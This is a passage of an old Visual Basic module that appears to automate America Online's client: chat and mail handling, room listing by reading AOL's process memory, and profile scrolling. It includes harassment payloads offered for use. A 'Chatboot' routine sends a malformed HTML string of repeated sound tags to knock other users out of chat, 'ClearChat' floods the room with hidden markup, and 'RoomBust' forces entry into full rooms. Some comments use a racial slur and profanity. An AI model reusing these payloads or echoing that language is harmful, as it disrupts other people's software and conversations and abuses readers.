  4539. Public Sub PrivateRoom(Room As String)
  4540.     Call Keyword("aol://2719:2-2-" & Room$)
  4541. End Sub
  4542. Function Label_MovieCredit2(Lab As Label, name As String, num As Integer)
  4543. Lab.Alignment = 2
  4544. Lab.Caption = name
  4545. Lab.BackStyle = 0
  4546. Lab.AutoSize = True
  4547.  
  4548. For I = 64 To 1 Step -5
  4549.         X = 255 - (I * 4 - 1)
  4550.          
  4551.         NewC = RGB(X, X, X)
  4552.         Lab.ForeColor = NewC
  4553.          Wait (0.0000001)
  4554.     Next I
  4555. Wait (num)
  4556. For I = 1 To 64 Step 5
  4557.         X = 255 - (I * 4 - 1)
  4558.          
  4559.         NewC = RGB(X, X, X)
  4560.         Lab.ForeColor = NewC
  4561.          Wait (0.0000001)
  4562.     Next I
  4563. Lab.ForeColor = &H0&
  4564. End Function
  4565.  
  4566. Function AddCharToList(lis As ListBox)
  4567. 'this wont add the chr codes
  4568. 'that windows doesnt recognize
  4569. Dim c, I As Integer
  4570.  
  4571. For c = 33 To 126
  4572.     lis.AddItem Chr(c)
  4573. Next c
  4574.  
  4575. lis.AddItem Chr(145)
  4576.  
  4577. For I = 161 To 255
  4578.     lis.AddItem Chr(I)
  4579. Next I
  4580. End Function
  4581.  
  4582. Sub Aol4_SetFocus()
  4583. X = GetCaption(AOLWindow)
  4584.  
  4585. End Sub
  4586.  
  4587. Sub TimeOut(Duration)
  4588. starttime = Timer
  4589. Do While Timer - starttime < Duration
  4590. DoEvents
  4591. Loop
  4592.  
  4593. End Sub
  4594.  
  4595.  
  4596. Sub StayOnTop(TheForm As Form)
  4597. SetWinOnTop = SetWindowPos(TheForm.hwnd, HWND_TOPMOST, 0, 0, 0, 0, flags)
  4598. End Sub
  4599.  
  4600. Sub Chatboot()
  4601. 'This boot nigga's from the chat, Thanx to Fr3X0r :P
  4602. For I = 1 To 100
  4603. a = a + "{S IM "
  4604. Next
  4605. ErrorRsenD ("<font color=#fffffe>.<p=< a href=" & Chr$(34) & " " & a & Chr$(34) & "></a>")
  4606. End Sub
  4607. Sub AddRoomToListbox(ListBox As ListBox)
  4608. On Error Resume Next
  4609.  
  4610. Dim AOLProcess As Long
  4611. Dim ListItemHold As Long
  4612. Dim Person As String
  4613. Dim ListPersonHold As Long
  4614. Dim ReadBytes As Long
  4615. TheList.Clear
  4616.  
  4617. Room = FindChat()
  4618. aolhandle = FindChildByClass(Room, "_AOL_Listbox")
  4619.  
  4620. AOLThread = GetWindowThreadProcessId(aolhandle, AOLProcess)
  4621. AOLProcessThread = OpenProcess(PROCESS_VM_READ Or STANDARD_RIGHTS_REQUIRED, False, AOLProcess)
  4622.  
  4623. If AOLProcessThread Then
  4624. For Index = 0 To SendMessage(aolhandle, LB_GETCOUNT, 0, 0) - 1
  4625. Person$ = String$(4, vbNullChar)
  4626. ListItemHold = SendMessage(aolhandle, LB_GETITEMDATA, ByVal CLng(Index), ByVal 0&)
  4627. ListItemHold = ListItemHold + 24
  4628. Call ReadProcessMemory(AOLProcessThread, ListItemHold, Person$, 4, ReadBytes)
  4629.                         
  4630. Call RtlMoveMemory(ListPersonHold, ByVal Person$, 4)
  4631. ListPersonHold = ListPersonHold + 6
  4632.  
  4633. Person$ = String$(16, vbNullChar)
  4634. Call ReadProcessMemory(AOLProcessThread, ListPersonHold, Person$, Len(Person$), ReadBytes)
  4635.  
  4636. Person$ = Left$(Person$, InStr(Person$, vbNullChar) - 1)
  4637. If Person$ = UserSN Then GoTo Na
  4638. ListBox.AddItem Person$
  4639. Na:
  4640. Next Index
  4641. Call CloseHandle(AOLProcessThread)
  4642. End If
  4643.  
  4644. End Sub
  4645. Sub List_Add(List As ListBox, txt$)
  4646. On Error Resume Next
  4647. DoEvents
  4648. For X = 0 To List.ListCount - 1
  4649.     If UCase$(List.List(X)) = UCase$(txt$) Then Exit Sub
  4650. Next
  4651. If Len(txt$) <> 0 Then List.AddItem txt$
  4652. End Sub
  4653.  
  4654. Sub ClearChat()
  4655. ErrorRsenD "<font color=#fffffe>.<pre" & String(1900, " </font>")
  4656. ErrorRsenD "<font color=#fffffe>.<pre" & String(1900, " </font>")
  4657. TimeOut 0.45
  4658. ErrorRsenD "<font color=#fffffe>.<pre" & String(1900, " </font>")
  4659. ErrorRsenD "<font color=#fffffe>.<pre" & String(1900, " </font>")
  4660. End Sub
  4661.  
  4662. Function AOL_Version()
  4663. 'returns Not Online , 3.0 or 4.0
  4664. Dim Version As String
  4665. aol% = FindWindow("AOL Frame25", vbNullString)
  4666.  
  4667. toola% = FindChildByClass(aol%, "AOL Toolbar")
  4668. toolb% = FindChildByClass(toola%, "_AOL_Toolbar")
  4669.     mdi% = FindChildByClass(aol%, "MDIClient")
  4670.     tit1% = findchildbytitle(mdi%, "Sign On")
  4671.     tit2% = findchildbytitle(mdi%, "Goodbye from America Online!")
  4672.     
  4673. If aol% = 0 Then
  4674. Version = "Not Online"
  4675. ElseIf tit1% <> 0 Then
  4676. Version = "Not Online"
  4677. ElseIf tit2% <> 0 Then
  4678. Version = "Not Online"
  4679. ElseIf toola% <> 0 Then
  4680. Version = "4.0"
  4681. Else
  4682. Version = "3.0"
  4683. End If
  4684. AOL_Version = Version
  4685.  
  4686. End Function
  4687.  
  4688. Function ChatToListbox(lis As ListBox)
  4689. Dim Chil%, Rich%, SendNum, GeText$, last, l$
  4690. Chil% = FindChat
  4691. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  4692.  
  4693. SendNum = SendMessageByNum(Rich%, 14, 0&, 0&)
  4694. GeTxt$ = Space$(SendNum)
  4695. last = SendMessageByString(Rich%, 13, SendNum + 1, GeTxt$)
  4696. For X = 1 To Len(GeTxt$)
  4697.  l$ = Mid(GeTxt$, X, 1)
  4698.   If l$ = Chr(13) Then
  4699.  Let l$ = ""
  4700.  lis.AddItem Lne$
  4701.  Lne$ = ""
  4702.  End If
  4703.  Lne$ = Lne$ & l$
  4704.  Next X
  4705.  
  4706. End Function
  4707.  
  4708. Function Object_MoveUp(Obj)
  4709. 'put this in a timer with a low interval
  4710. 'object is like a label or pic box
  4711. Obj.Top = Val(Obj.Top) + 20
  4712. End Function
  4713. Function Object_MoveDown(Obj)
  4714. 'put this in a timer with a low interval
  4715. 'object is like a label or pic box
  4716. Obj.Top = Val(Obj.Top) - 20
  4717. End Function
  4718.  
  4719. Function Print_GetDeviceName()
  4720. 'gets the name of the printer
  4721. name = Printer.DeviceName
  4722. Print_GetDeviceName = name
  4723. End Function
  4724. Function SendMailAttach(Who As String, Subject As String, Message As String, FilePath As String)
  4725. 'ex:  Call AOL_MailAttach("user123","hi","hey whats up","c:\example.exe")
  4726. aol% = FindWindow("AOL Frame25", vbNullString)
  4727. tool% = FindChildByClass(aol%, "AOL Toolbar")
  4728. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  4729. Icona% = FindChildByClass(toolb%, "_AOL_Icon")
  4730. Icona% = GetWindow(Icona%, 2)
  4731. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  4732. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  4733. Do: DoEvents
  4734. mdi% = FindChildByClass(aol%, "MDIClient")
  4735. TIT% = findchildbytitle(mdi%, "Write Mail")
  4736. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  4737. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  4738. If TIT% <> 0 And Edi% <> 0 And Rich% <> 0 Then Exit Do
  4739. Loop
  4740. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Who)
  4741.     For n = 1 To 4
  4742.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  4743.     Next n
  4744. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Subject)
  4745. fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Message)
  4746.     For I = 1 To 22
  4747.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  4748.     Next I
  4749.  
  4750.  
  4751. Rich% = GetWindow(Rich%, GW_HWNDNEXT)
  4752. Rich% = GetWindow(Rich%, GW_HWNDNEXT)
  4753.  
  4754. attch = SendMessage(Rich%, WM_LBUTTONDOWN, 0, 0&)
  4755. attch = SendMessage(Rich%, WM_LBUTTONUP, 0, 0&)
  4756. Wait (0.3)
  4757. Do: DoEvents
  4758. Mod2% = FindWindow("_AOL_Modal", vbNullString)
  4759. Tree2% = FindChildByClass(Mod2%, "_AOL_Tree")
  4760. stat% = FindChildByClass(Mod2%, "_AOL_Static")
  4761. iconb% = FindChildByClass(Mod2%, "_AOL_Icon")
  4762. If Mod2% <> 0 And Tree2% <> 0 And stat% <> 0 And iconb% <> 0 Then Exit Do
  4763. Loop
  4764.   
  4765. attchc = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  4766. attchc = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  4767. Wait (0.3)
  4768. Do: DoEvents
  4769. Fle% = FindWindow("#32770", vbNullString)
  4770. edif% = FindChildByClass(Fle%, "Edit")
  4771. but% = FindChildByClass(Fle%, "Button")
  4772. If Fle% <> 0 And edif% <> 0 And but% <> 0 Then Exit Do
  4773. Loop
  4774. Wait (0.3)
  4775. fillit = SendMessageByString(edif%, WM_SETTEXT, 0, FilePath)
  4776. but% = GetWindow(but%, GW_HWNDNEXT)
  4777. clickit = SendMessage(but%, WM_LBUTTONDOWN, 0, 0&)
  4778. clickit = SendMessage(but%, WM_LBUTTONUP, 0, 0&)
  4779.  
  4780. Wait (0.2)
  4781. Do: DoEvents
  4782. Mod2% = FindWindow("_AOL_Modal", vbNullString)
  4783. Tree2% = FindChildByClass(Mod2%, "_AOL_Tree")
  4784. stat% = FindChildByClass(Mod2%, "_AOL_Static")
  4785. iconb% = FindChildByClass(Mod2%, "_AOL_Icon")
  4786. If Mod2% <> 0 And Tree2% <> 0 And stat% <> 0 And iconb% <> 0 Then Exit Do
  4787. Loop
  4788. Wait (0.2)
  4789. iconb% = GetWindow(iconb%, GW_HWNDNEXT) 'detach
  4790.     iconb% = GetWindow(iconb%, GW_HWNDNEXT) 'OK
  4791.  
  4792. clickit = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  4793. clickit = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  4794.  
  4795. SendIt = SendMessage(Edi%, WM_LBUTTONDOWN, 0, 0&)
  4796. SendIt = SendMessage(Edi%, WM_LBUTTONUP, 0, 0&)
  4797.  
  4798. End Function
  4799.  
  4800. Function GreetRoom(lis As ListBox, BeforeGreet As String, AfterGreet As String)
  4801. 'i really prefer to tag ur own cuz more preferble but
  4802. ' this would do nice for you none programmer's
  4803. Call AddRoom(lis)
  4804. Wait (0.3)
  4805. For X = 0 To lis.ListCount
  4806.     Nam$ = lis.List(X)
  4807.     Call SendChat(BeforeGreet & " " & Nam$ & " " & AfterGreet)
  4808. Wait (0.6)
  4809. Next X
  4810.  
  4811. End Function
  4812.  
  4813. Function AntiIdle()
  4814. 'put in timer
  4815. Modal% = FindWindow("_AOL_Modal", vbNullString)
  4816. txt$ = Modal_Static
  4817. There = InStr(txt$, "you have been idle")
  4818. If Modal% <> 0 Then
  4819. closeit = SendMessage(Modal%, WM_CLOSE, 0, 0&)
  4820. End If
  4821.  
  4822. End Function
  4823.  
  4824. Public Sub SaveListBox(Directory As String, TheList As ListBox)
  4825.     Dim SaveList As Long
  4826.     On Error Resume Next
  4827.     Open Directory$ For Output As #1
  4828.     For SaveList& = 0 To TheList.ListCount - 1
  4829.         Print #1, TheList.List(SaveList&)
  4830.     Next SaveList&
  4831.     Close #1
  4832. End Sub
  4833.  
  4834. Function ChatColorSend(Color As String, strin As String)
  4835. 'color constants: (L before color = light, D = Dark)
  4836. 'Blue
  4837. 'LBlue
  4838. 'DBlue
  4839. 'Green
  4840. 'LGreen
  4841. 'DGreen
  4842. 'Red
  4843. 'DRed
  4844. 'Yellow
  4845. 'Grey
  4846. 'LGrey
  4847. 'DGrey
  4848. 'Orange
  4849. 'Purple
  4850. 'Pink
  4851. ' Ex.. Call ChatColorSend(Blue,text1.text)
  4852. cc$ = "<Font Color=" & Chr(34) & Color & Chr(34) & ">"
  4853. Call SendChat(cc$ & strin)
  4854. End Function
  4855.  
  4856. Function MailBombFix(SName As String)
  4857. Call Mail_OpenNew2
  4858. Wait (0.5)
  4859. aol% = FindWindow("AOL Frame25", vbNullString)
  4860. mdi% = FindChildByClass(aol%, "MDIClient")
  4861. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  4862. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  4863. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  4864. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  4865. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  4866.         For n = 1 To 6
  4867.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  4868.         Next n
  4869.  coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  4870. For safety = 1 To 4
  4871. For I = 0 To coun% - 1
  4872. lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&)
  4873.     mail$ = String(lent% + 1, 0)
  4874.     Call SendMessageByString(tree%, LB_GETTEXT, I, mail$)
  4875.             For X = 1 To Len(mail$)
  4876.                 c$ = Mid(mail$, X, 1)
  4877.                     If c$ = Chr(9) Then
  4878.                     Let c$ = ""
  4879.                     Exit For
  4880.                     End If
  4881.                 news$ = news$ & c$
  4882.                 Next X
  4883.                         For l = X + 1 To Len(mail$)
  4884.                                 c$ = Mid(mail$, l, 1)
  4885.                                     If c$ = Chr(9) Then
  4886.                                 Let c$ = ""
  4887.                                      Exit For
  4888.                                 End If
  4889.                             News2$ = News2$ & c$
  4890.                          Next l
  4891.                
  4892.         If LCase(News2$) = LCase(SName) Then
  4893.         setit = SendMessage(tree%, LB_SETCURSEL, I, 0&)
  4894.         deleteit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  4895.         deleteit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  4896.         coun% = coun% - 1
  4897.         End If
  4898.         News2$ = ""
  4899.     Next I
  4900.     Next safety
  4901. End Function
  4902.  
  4903. Function NewMailToList(lis As ListBox)
  4904. 'this will open ur new mail and
  4905. 'it will auto add the mail into your list box
  4906. 'helpfull for mmer's or server's
  4907. aol% = FindWindow("AOL Frame25", vbNullString)
  4908. mdi% = FindChildByClass(aol%, "MDIClient")
  4909. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  4910. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  4911. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  4912. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  4913. coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  4914. For I = 0 To coun% - 1
  4915. lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&)
  4916.     mail$ = String(lent% + 1, 0)
  4917.     Call SendMessageByString(tree%, LB_GETTEXT, I, mail$)
  4918.     For X = 1 To Len(mail$)
  4919.         l$ = Mid(mail$, X, 1)
  4920.         NoName$ = NoName$ & l$
  4921.             If l$ = Chr(9) Then
  4922.                 Let l$ = "": NoName$ = ""
  4923.             End If
  4924.     Next X
  4925.     
  4926. lis.AddItem NoName$
  4927.     Next I
  4928. End Function
  4929. Function PrivRoom2(RoomName As String)
  4930. 'this wont click the "room is full" window
  4931. 'much faster for a bust or reenter but not
  4932. 'as safe
  4933. aol% = FindWindow("AOL Frame25", vbNullString)
  4934. tool% = FindChildByClass(aol%, "AOL Toolbar")
  4935. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  4936. Comb% = FindChildByClass(toolb%, "_AOL_Combobox")
  4937. Edi% = FindChildByClass(Comb%, "Edit")
  4938.  
  4939.   fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, "aol://2719:2-2-" & RoomName)
  4940.  
  4941. clickit = SendMessageByNum(Edi%, WM_CHAR, VK_SPACE, 0&)
  4942. clickit = SendMessageByNum(Edi%, WM_CHAR, 13, 0&)
  4943. End Function
  4944.  
  4945. Function RoomBust(RoomName As String)
  4946. Dim Chil%, Rich%
  4947. Dim T As Integer
  4948. Chil% = FindChat
  4949. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  4950.     If Rich% <> 0 Then
  4951.         closeroom = SendMessage(Chil%, WM_CLOSE, 0, 0&)
  4952.     End If
  4953. Do: DoEvents
  4954. T = Val(T) + 1
  4955. Call PrivRoom(RoomName)
  4956. Wait (0.3)
  4957. If InRoom = True Or T = 20 Then Exit Do
  4958. Loop
  4959. If T = 20 Then
  4960. MsgBox ("Fucking bitch it only allow's 20 bust bitch fucking reset lamer do to fucking aol's last update.."), 16, ("RoomBust Timeout")
  4961. End If
  4962. Wait (0.2) 'this is to make sure your advertise
  4963. 'doesnt come too soon
  4964.  
  4965. End Function
  4966.  
  4967. Function RoomReenter(RoomName As String, Times As Integer)
  4968. ' this bitch dont work know more
  4969. 'but il write a working one soon
  4970. For I = 1 To Times
  4971. Call PrivRoom(RoomName)
  4972. Next I
  4973.  
  4974. End Function
  4975.  
  4976.  
  4977. Function RoomReenter2(Times As Integer)
  4978. 'this one will automatically detect the room name
  4979. Room$ = GetRoomTitle
  4980. For I = 1 To Times
  4981. Call PrivRoom(Room$)
  4982. Next I
  4983.  
  4984. End Function
  4985.  
  4986.  
  4987. Function CharToChr(Letter As String)
  4988. c = Asc(Letter)
  4989.  
  4990. CharToChr = c
  4991.  
  4992. End Function
  4993.  
  4994. Function Form_Oval(frm As Form)
  4995. frm.Show
  4996. SetWindowRgn frm.hwnd, CreateEllipticRgn(0, 0, 300, 200), True
  4997. End Function
  4998.  
  4999. Function getprofile(Nam As String)
  5000. Dim Edi%
  5001. Call RunMenuByChar(9, "G")
  5002. Do: DoEvents
  5003. aol% = FindWindow("AOL Frame25", vbNullString)
  5004. mdi% = FindChildByClass(aol%, "MDIClient")
  5005. TIT% = findchildbytitle(mdi%, "Get A Member's Profile")
  5006. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  5007. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  5008. If Edi% <> 0 Then Exit Do
  5009. Loop
  5010. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Nam)
  5011. DoEvents
  5012. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  5013. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  5014. Wait (0.6)
  5015. None% = FindWindow("#32770", vbNullString)
  5016.  
  5017. If None% <> 0 Then
  5018. closeit = SendMessage(None%, WM_CLOSE, 0, 0&)
  5019. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  5020. getprofile = "No Profile Available"
  5021. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  5022. Exit Function
  5023. End If
  5024. Do: DoEvents
  5025. tit2% = findchildbytitle(mdi%, "Member Profile")
  5026. View% = FindChildByClass(tit2%, "_AOL_View")
  5027. If tit2% <> 0 And View% <> 0 Then Exit Do
  5028. Loop
  5029.  
  5030. Do: DoEvents
  5031. NewNum = sNum 'wait for all text to load up
  5032. sNum = SendMessageByNum(View%, 14, 0&, 0&)
  5033. Wait (0.3)
  5034. If NewNum = sNum Then Exit Do
  5035. Loop
  5036.  
  5037. trm$ = Space$(sNum)
  5038. last = SendMessageByString(View%, 13, sNum + 1, trm$)
  5039.  
  5040. closeit = SendMessage(tit2%, WM_CLOSE, 0, 0&)
  5041. closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  5042.  
  5043. Prof$ = trm$
  5044. getprofile = Prof$
  5045.  
  5046. End Function
  5047.  
  5048. Function Label_Space(Lab As Label, txt As String, MaxSize As Integer)
  5049. Lab.FontSize = 1
  5050. Lab.AutoSize = True
  5051. Lab.Alignment = 2
  5052. Lab.Caption = txt
  5053. For X = 1 To MaxSize Step 10
  5054. Lab.FontSize = X
  5055. Wait (0.001)
  5056. Next X
  5057. Wait (0.5)
  5058. For I = MaxSize To 1 Step -10
  5059. Lab.FontSize = I
  5060. Wait (0.001)
  5061. Next I
  5062.  
  5063. End Function
  5064.  
  5065. Function LastTextFromIm()
  5066. 'this gets the text from the last im
  5067. Dim IM$
  5068. Dim I$, txt$
  5069. Dim X As Integer
  5070. IM$ = TextFromIm
  5071.  
  5072. For X = 1 To Len(IM$)
  5073. I$ = Mid(IM$, X, 1)
  5074. txt$ = txt$ & I$
  5075. If I$ = Chr(9) Then
  5076. Let I$ = ""
  5077. txt$ = ""
  5078. End If
  5079.  
  5080.  
  5081. Next X
  5082. LastTextFromIm = txt$
  5083. End Function
  5084.  
  5085. Function MailNewDeleteAllBut(SName As String)
  5086. 'deletes all mail except from the name you put
  5087. Call Mail_OpenNew2
  5088. Wait (0.5)
  5089. aol% = FindWindow("AOL Frame25", vbNullString)
  5090. mdi% = FindChildByClass(aol%, "MDIClient")
  5091. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  5092. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  5093. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  5094. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  5095. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  5096.         For n = 1 To 6
  5097.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  5098.         Next n
  5099.  coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  5100. For safety = 1 To 4
  5101. For I = 0 To coun% - 1
  5102. lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&)
  5103.     mail$ = String(lent% + 1, 0)
  5104.     Call SendMessageByString(tree%, LB_GETTEXT, I, mail$)
  5105.             For X = 1 To Len(mail$)
  5106.                 c$ = Mid(mail$, X, 1)
  5107.                     If c$ = Chr(9) Then
  5108.                     Let c$ = ""
  5109.                     Exit For
  5110.                     End If
  5111.                 news$ = news$ & c$
  5112.                 Next X
  5113.                         For l = X + 1 To Len(mail$)
  5114.                                 c$ = Mid(mail$, l, 1)
  5115.                                     If c$ = Chr(9) Then
  5116.                                 Let c$ = ""
  5117.                                      Exit For
  5118.                                 End If
  5119.                             News2$ = News2$ & c$
  5120.                          Next l
  5121.                
  5122.         If LCase(News2$) <> LCase(SName) Then
  5123.         setit = SendMessage(tree%, LB_SETCURSEL, I, 0&)
  5124.         deleteit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  5125.         deleteit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  5126.         coun% = coun% - 1
  5127.         End If
  5128.         News2$ = ""
  5129.     Next I
  5130.     Next safety
  5131. End Function
  5132.  
  5133. Function MailNewDeleteNonAOL()
  5134. 'this will delete all mails with more then 10
  5135. 'letters , obviouslly getting rid of non aol
  5136. 'unless the person actually writes @aol.com
  5137. 'but thats usually junk anyway
  5138. Call Mail_OpenNew2
  5139. Wait (0.5)
  5140. aol% = FindWindow("AOL Frame25", vbNullString)
  5141. mdi% = FindChildByClass(aol%, "MDIClient")
  5142. TIT% = findchildbytitle(mdi%, " Online Mailbox")
  5143. Tab1% = FindChildByClass(TIT%, "_AOL_TabControl")
  5144. Tab2% = FindChildByClass(Tab1%, "_AOL_TabPage")
  5145. tree% = FindChildByClass(Tab2%, "_AOL_Tree")
  5146. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  5147.         For n = 1 To 6
  5148.             Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  5149.         Next n
  5150.  coun% = SendMessage(tree%, LB_GETCOUNT, 0, 0&)
  5151. For safety = 1 To 4
  5152. For I = 0 To coun% - 1
  5153. lent% = SendMessage(tree%, LB_GETTEXTLEN, I, 0&)
  5154.     mail$ = String(lent% + 1, 0)
  5155.     Call SendMessageByString(tree%, LB_GETTEXT, I, mail$)
  5156.             For X = 1 To Len(mail$)
  5157.                 c$ = Mid(mail$, X, 1)
  5158.                     If c$ = Chr(9) Then
  5159.                     Let c$ = ""
  5160.                     Exit For
  5161.                     End If
  5162.                 news$ = news$ & c$
  5163.                 Next X
  5164.                         For l = X + 1 To Len(mail$)
  5165.                                 c$ = Mid(mail$, l, 1)
  5166.                                     If c$ = Chr(9) Then
  5167.                                 Let c$ = ""
  5168.                                      Exit For
  5169.                                 End If
  5170.                             News2$ = News2$ & c$
  5171.                          Next l
  5172.                
  5173.         If Len(News2$) > 10 Then
  5174.         setit = SendMessage(tree%, LB_SETCURSEL, I, 0&)
  5175.         deleteit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  5176.         deleteit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  5177.         coun% = coun% - 1
  5178.         End If
  5179.         News2$ = ""
  5180.     Next I
  5181.     Next safety
  5182. End Function
  5183. Function Modal_Static()
  5184. Modal% = FindWindow("_AOL_Modal", vbNullString)
  5185. stat% = FindChildByClass(Modal%, "_AOL_Static")
  5186.     
  5187. SendNum = SendMessageByNum(stat%, 14, 0&, 0&)
  5188. Trimit$ = Space$(SendNum)
  5189. last = SendMessageByString(stat%, 13, SendNum + 1, Trimit$)
  5190. Modal_Static = Trimit$
  5191. End Function
  5192.  
  5193. Function RandomColorCode()
  5194. num = Array("C", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F")
  5195.  
  5196. CCode = "#" & num(Int(16 * Rnd)) & num(Int(16 * Rnd)) & num(Int(16 * Rnd)) & num(Int(16 * Rnd)) & num(Int(16 * Rnd)) & num(Int(16 * Rnd))
  5197. RandomColorCode = CCode
  5198.  
  5199. End Function
  5200. Sub PlayWav(file)
  5201. 'ex: Playwav ("evi.wav")
  5202. SoundName$ = file
  5203.    wflags% = SND_ASYNC Or SND_NODEFAULT
  5204.    X% = sndPlaySound(SoundName$, wflags%)
  5205.  
  5206. End Sub
  5207.  
  5208.  
  5209. Function RunMenuByChar(IconNum As Integer, Letter As String)
  5210.  
  5211. 'itll work , if you wanna use it take the icon number
  5212. 'and subtract one so if its the 9'th icon use 8
  5213. aol% = FindWindow("AOL Frame25", vbNullString)
  5214. tool% = FindChildByClass(aol%, "AOL Toolbar")
  5215. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  5216. Icona% = FindChildByClass(toolb%, "_AOL_Icon")
  5217.  
  5218. For I = 1 To IconNum
  5219. Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  5220. Next I
  5221.     DoEvents
  5222.         Chng$ = CharToChr(Letter)
  5223.                
  5224.             SendLetter = SendMessageByString(Icona%, WM_CHAR, Chng$, 0&)
  5225.  
  5226. End Function
  5227.  
  5228. Function ScrollProfile(SName As String)
  5229. On Error Resume Next
  5230. Dim n As Integer
  5231. numB% = FindWindow("#32770", vbNullString)
  5232. Prof$ = getprofile(SName)
  5233. TimeOut (0.3)
  5234. Call ErrorRsenD("Now scrolling " & SName & "'s Profile")
  5235. TimeOut (0.5)
  5236. For X = 1 To Len(Prof$)
  5237. I$ = Mid(Prof$, X, 1)
  5238.  
  5239. If I$ = Chr(10) Then
  5240.     For O = 1 To Len(Lne$)
  5241.         j$ = Mid(Lne$, O, 1)
  5242.         If j$ = Chr(9) Then
  5243.         Exit For
  5244.         End If
  5245.     fnt$ = fnt$ & j$
  5246.     Next O
  5247. Wat$ = Mid(Lne$, O, Len(Lne$))
  5248.     
  5249.     
  5250.     If Len(Wat$) > 92 Then
  5251.             Half$ = Mid(Wat$, 1, 92)
  5252.         Call SendChat(Half$)
  5253.             Else
  5254.         Call SendChat(Wat$)
  5255.             End If
  5256.  
  5257.  
  5258. Lne$ = "": fnt$ = ""
  5259.  
  5260. TimeOut (0.5)
  5261. End If
  5262. Lne$ = Lne$ & I$
  5263. If numB% <> 0 Then
  5264. closeit = SendMessage(numB%, WM_CLOSE, 0, 0&)
  5265. End If
  5266. Next X
  5267.  
  5268.  
  5269. End Function
  5270. Function ScrollProfile2(SName As String)
  5271. 'this one makes the Member Name: and catagories in blue
  5272. 'looks a lot better but if the text is too long
  5273. 'itll stop
  5274. On Error Resume Next
  5275. Dim n As Integer
  5276. numB% = FindWindow("#32770", vbNullString)
  5277. Prof$ = getprofile(SName)
  5278. Wait (0.3)
  5279. Call ErrorRsenD("<font face=aria></b></i><Font Color=#FF0000>[<u>Now Scrolling " + SName + "'s Profie</font>")
  5280. Wait (0.5)
  5281. For X = 1 To Len(Prof$)
  5282. I$ = Mid(Prof$, X, 1)
  5283.  
  5284. If I$ = Chr(10) Then
  5285.     For O = 1 To Len(Lne$)
  5286.         j$ = Mid(Lne$, O, 1)
  5287.         If j$ = Chr(9) Then
  5288.         Exit For
  5289.         End If
  5290.     fnt$ = fnt$ & j$
  5291.     Next O
  5292. Wat$ = "<font color=" & Chr(34) & "#0000FF" & Chr(34) & ">" & fnt$ & "<font color=" & Chr(34) & "#000000" & Chr(34) & ">" & Mid(Lne$, O, Len(Lne$))
  5293.     
  5294.     
  5295.     If Len(Wat$) > 170 Then
  5296.             Half$ = Mid(Wat$, 1, 170)
  5297.         Call ErrorRsenD(Half$)
  5298.             Else
  5299.         Call ErrorRsenD(Wat$)
  5300.             End If
  5301.  
  5302.  
  5303. Lne$ = "": fnt$ = ""
  5304.  
  5305. Wait (0.5)
  5306. End If
  5307. Lne$ = Lne$ & I$
  5308. If numB% <> 0 Then
  5309. closeit = SendMessage(numB%, WM_CLOSE, 0, 0&)
  5310. End If
  5311. Next X
  5312.  
  5313. End Function
  5314. Function Advertise1()
  5315. 'just another adv
  5316. 'this one is for ErrorR-Com
  5317. Call SendChat("<b><FONT FACE=" & Chr$(34) & "Wingdings" & Chr$(34) & ">i<FONT FACE=" & Chr$(34) & "arial" & Chr$(34) & "><Font Color=#D40000><b>Punished AoL")
